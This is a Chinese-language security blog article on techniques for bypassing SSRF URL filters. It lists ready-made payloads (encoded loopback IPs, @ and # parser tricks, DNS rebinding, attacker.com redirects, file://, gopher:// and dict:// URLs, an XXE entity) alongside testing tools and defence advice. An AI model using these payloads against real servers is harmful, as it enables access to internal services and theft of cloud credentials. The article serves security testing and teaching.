// 红队渗透 · 2025-08-03

SSRF URL绕过手法技巧总结

引言

服务器端请求伪造(Server-Side Request Forgery,简称SSRF)是一种严重的Web安全漏洞,允许攻击者通过控制服务器发起的请求,访问非预期的目标资源,如内部网络服务、本地文件或外部系统。随着开发者和安全从业者对SSRF漏洞的防范意识增强,许多应用程序引入了输入验证、黑名单过滤、白名单限制和网络分段等防御措施。然而,攻击者通过精心构造的URL绕过技术,依然能够突破这些防护,实施恶意操作。本文将深入探讨SSRF漏洞的分类与利用方式,详细剖析URL绕过技术的原理和实现方法。


一、SSRF漏洞概述与分类

SSRF漏洞的核心在于攻击者通过操控服务器端发起的HTTP或其他协议请求,访问原本不应被访问的资源。其危害性取决于目标系统的网络环境和防护机制。SSRF漏洞可根据利用目标和方式进行分类,主要包括以下几种类型:

  1. 内部服务访问:攻击者诱导服务器向内部网络(如127.0.0.1、内网IP192.168.x.x或云元数据服务169.254.169.254)发起请求,访问数据库、内部API或管理面板。例如,AWS、GCP等云环境的元数据服务常成为攻击目标,可能导致凭据泄露。

  2. 本地文件读取:通过file://协议,攻击者可读取服务器本地文件(如/etc/passwd或配置文件),获取敏感信息。

  3. 外部服务交互:攻击者诱导服务器向外部恶意服务器发送请求,可能用于窃取凭据、触发其他漏洞或进行拒绝服务(DoS)攻击。

  4. 内网探测:利用SSRF扫描内网开放端口和服务,绘制网络拓扑图,为后续攻击(如提权或横向移动)提供基础。

  5. 云元数据服务利用:在云环境中,攻击者通过访问云提供商的元数据服务(如AWS IMDS、GCP元数据端点)窃取临时凭据或其他敏感信息。

SSRF的危害与利用场景

SSRF的危害取决于目标系统的配置和攻击者的目标。以下是常见的利用场景:

  • 凭据窃取:通过访问云元数据服务获取临时访问密钥(如AWS IAM角色凭据)。
  • 信息泄露:读取本地文件或访问内部服务,获取敏感数据。
  • 网络侦察:探测内网服务,识别开放端口和潜在漏洞。
  • 服务交互:利用协议如gopher://与数据库(如Redis、MySQL)交互,执行命令或修改数据。
  • 拒绝服务:向内部或外部服务发送大量请求,耗尽服务器资源。

常见防御措施

为防止SSRF攻击,开发者通常采用以下防护措施:

  • 黑名单过滤:禁止特定IP(如127.0.0.1)或域名(如localhost)的请求。
  • 白名单限制:仅允许请求预定义的域名或IP。
  • 输入验证:检查URL格式,过滤危险协议(如file://、gopher://)。
  • 网络分段:限制服务器对内网的访问权限。
  • Web应用防火墙(WAF):检测并阻止可疑请求。

然而,这些措施并非无懈可击。攻击者通过IP编码、DNS技巧、特殊字符和重定向等绕过手法,依然能够实施SSRF攻击。


二、SSRF URL绕过手法详解

SSRF URL绕过技术的核心在于利用URL解析机制、DNS解析逻辑或协议特性,规避黑名单、白名单或输入验证的限制。以下是我总结的常见的绕过技术。

1. IP地址编码绕过

许多SSRF防护机制通过黑名单过滤127.0.0.1或localhost来阻止本地服务访问。然而,IP地址有多种表示形式,攻击者可利用这些形式绕过过滤。

(1)十进制编码

IP地址可转换为32位十进制整数。例如,127.0.0.1的计算公式为:

127×256³ + 0×256² + 0×256¹ + 1×256⁰ = 2130706433

示例:

  • 原始URL:http://127.0.0.1:80
  • 绕过URL:http://2130706433:80

(2)八进制编码

每个IP段可转换为八进制。例如,127.0.0.1可表示为0177.0000.0000.0001。

示例:

  • 原始URL:http://127.0.0.1
  • 绕过URL:http://0177.0000.0000.0001

(3)十六进制编码

IP地址可表示为十六进制,如127.0.0.1转换为0x7f000001。

示例:

  • 原始URL:http://127.0.0.1
  • 绕过URL:http://0x7f000001

(4)混合编码

攻击者可混合十进制、八进制和十六进制。例如,127.0.0.1可表示为0x7f.0.0.1。

示例:

  • 原始URL:http://127.0.0.1
  • 绕过URL:http://0x7f.0000.0000.0001

(5)IPv6地址绕过

IPv6地址格式(如[::1])常被忽略。例如,http://[::1]:80等价于http://127.0.0.1:80。

示例:

  • 原始URL:http://127.0.0.1:80
  • 绕过URL:http://[::1]:80

(6)短地址或零地址

某些系统将0或127.1解析为127.0.0.1。

示例:

  • 绕过URL:http://0

2. 使用特殊字符(@和#)绕过

特殊字符@和#在URL解析中有特定含义,攻击者可利用这些特性绕过白名单或黑名单过滤。

(1)使用@字符

在URL中,@用于分隔认证信息和主机名。攻击者可构造形如http://allowed.com@127.0.0.1的URL,使服务器解析到127.0.0.1,而过滤器可能仅检查allowed.com。

原理:

  • URL格式:http://username:password@hostname。
  • 过滤器可能仅验证allowed.com,忽略@后的实际目标127.0.0.1。

示例:

  • 原始URL:http://127.0.0.1
  • 绕过URL:http://allowed.com@127.0.0.1

变种:

  • 使用URL编码混淆@(%40)。
  • 示例:http://allowed.com%40127.0.0.1
  • 双重编码:http://allowed.com%2540127.0.0.1

(2)使用#字符

#表示URL片段(fragment),通常用于客户端定位页面锚点。某些服务器在处理URL时忽略#后的内容,攻击者可将目标地址置于#前。

原理:

  • URL如http://127.0.0.1#allowed.com可能被解析为127.0.0.1,而过滤器检查allowed.com。

示例:

  • 原始URL:http://127.0.0.1
  • 绕过URL:http://127.0.0.1#allowed.com

变种:

  • URL编码#(%23)。
  • 示例:http://127.0.0.1%23allowed.com
  • 双重编码:http://127.0.0.1%2523allowed.com

(3)@和#组合使用

攻击者可结合@和#构造复杂URL,进一步混淆过滤器。例如,http://allowed.com@127.0.0.1#bypass可能被解析为127.0.0.1。

示例:

  • 绕过URL:http://allowed.com@127.0.0.1#bypass
  • 编码变种:http://allowed.com%40127.0.0.1%23bypass

3. DNS名称构造绕过

通过控制DNS解析,攻击者可将自定义域名解析到目标IP,绕过黑名单或白名单。

(1)自定义域名解析

攻击者注册域名(如attacker.com),并设置DNS记录指向127.0.0.1或内网IP。

示例:

  • 原始URL:http://127.0.0.1
  • 绕过URL:http://spoofed.attacker.com

(2)子域名构造

攻击者可使用子域名构造,将目标IP嵌入域名。例如,127.0.0.1.attacker.com可能解析到127.0.0.1。

示例:

  • 绕过URL:http://127.0.0.1.attacker.com

(3)nip.io等服务

nip.io等服务允许生成形如127.0.0.1.nip.io的域名,直接解析到指定IP,方便攻击者测试SSRF漏洞。

示例:

  • 原始URL:http://127.0.0.1
  • 绕过URL:http://127.0.0.1.nip.io

(4)DNS重绑定(DNS Rebinding)

DNS重绑定通过动态更改DNS解析结果,绕过白名单。例如,域名attacker.com初始解析到合法IP(如1.2.3.4),随后切换到127.0.0.1。

示例:

  • 绕过URL:http://attacker.com

4. 重定向绕过

SSRF防护通常仅检查初始URL,忽略重定向目标。攻击者可控制服务器返回302重定向到目标地址。

示例:

  • 攻击者服务器http://attacker.com/redirect返回302到http://127.0.0.1。
  • 绕过URL:http://attacker.com/redirect

变种:

  • 使用不同协议(如https://到http://)。
  • 使用不同状态码(如301、307)。

5. 协议操纵绕过

SSRF防护可能仅限制http://和https://,攻击者可尝试其他协议。

(1)file://协议

读取本地文件,如/etc/passwd。

示例:

  • 绕过URL:file:///etc/passwd

(2)gopher://协议

用于复杂请求,如与MySQL、Redis交互。

示例:

  • 绕过URL:gopher://127.0.0.1:3306/_%00%01

(3)其他协议

如dict://、ftp://等,可能在特定环境生效。

示例:

  • 绕过URL:dict://127.0.0.1:6379/info

6. URL编码与字符混淆

(1)单层URL编码

将localhost编码为%6C%6F%63%61%6C%68%6F%73%74。

示例:

  • 原始URL:http://localhost
  • 绕过URL:http://%6C%6F%63%61%6C%68%6F%73%74

(2)双重URL编码

编码%为%25,如localhost双重编码为%256C%256F%2563%2561%256C%2568%256F%2573%2574。

示例:

  • 绕过URL:http://%256C%256F%2563%2561%256C%2568%256F%2573%2574

(3)Unicode字符绕过

使用Unicode表示127.0.0.1,如①②⑦.⓪.⓪.⓪。

示例:

  • 绕过URL:http://①②⑦.⓪.⓪.⓪

7. 其他高级绕过技术

(1)开放重定向

利用白名单域名的开放重定向漏洞,重定向到内部地址。

示例:

  • 绕过URL:http://trusted.com/redirect?url=http://127.0.0.1

(2)XXE结合SSRF

通过XML外部实体注入SSRF payload。

示例:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1"> ]>
<root>&xxe;</root>

三、SSRF绕过测试方法

测试SSRF绕过时,可结合以下工具和方法:

  1. Burp Suite:使用Burp Collaborator生成唯一域名,检测服务器是否发起外部请求。
  2. SSRFMap:自动化测试SSRF漏洞,支持文件读取、端口扫描等。
  3. Gopherus:生成gopher://协议payload,针对MySQL、Redis等服务。
  4. 自定义服务器:搭建重定向服务器或DNS服务器,测试绕过效果。
  5. Payload生成工具:如SSRF-PayloadMaker,生成多种编码格式的payload。

测试步骤:

  1. 确认是否存在SSRF漏洞(尝试http://burpcollaborator.net)。
  2. 测试黑名单过滤(使用127.0.0.1、localhost等)。
  3. 尝试IP编码、URL编码和DNS绕过。
  4. 测试重定向和协议操纵。
  5. 使用工具自动化枚举端口和服务。

四、SSRF防御建议

为有效防止SSRF攻击,开发者应采取以下措施:

  1. 严格白名单验证:
    • 仅允许请求预定义的域名或IP。
    • 使用正则表达式验证URL格式,避免子域名或路径绕过。
  2. 禁用危险协议:
    • 禁止file://、gopher://等非必要协议。
  3. 规范化输入:
    • 在处理URL前进行规范化(如解析IP地址、解码URL)。
  4. 网络分段:
    • 限制服务器对内部网络的访问权限。
  5. 使用安全的URL解析库:
    • 如Java的InetAddressValidator,避免编码绕过。
  6. WAF和监控:
    • 配置WAF检测异常请求,实时监控服务器对外请求。
  7. IMDSv2迁移:
    • 对于云环境,禁用IMDSv1,使用IMDSv2增强元数据安全。

五、案例分析

案例1:AWS元数据泄露

攻击者发现某应用允许用户输入图片URL,服务器会下载并处理该URL。防护机制禁止169.254.169.254(AWS元数据服务地址)。攻击者使用十进制编码http://2852039166(等价于169.254.169.254)成功访问元数据,获取临时凭据。

绕过方法:十进制IP编码。

案例2:本地文件读取

某应用支持XML上传,攻击者通过XXE注入file:///etc/passwd,成功读取服务器配置文件。

绕过方法:协议操纵(file://)。

案例3:DNS重绑定

攻击者注册域名attacker.com,初始解析到外部IP,随后通过DNS重绑定切换到127.0.0.1,绕过白名单限制,访问内部服务。

绕过方法:DNS重绑定。


六、结论

SSRF URL绕过技术利用了IP地址编码、URL编码、DNS解析、重定向和协议操纵等多种方法,成功突破常见的防护机制。安全研究人员和开发者需要深入理解这些技术的工作原理,通过规范化输入、严格白名单和网络分段等措施提升系统安全性。同时,借助自动化工具和测试方法,可以更高效地发现和修复SSRF漏洞。

原文 https://blog.csdn.net/2301_79518550/article/details/149885537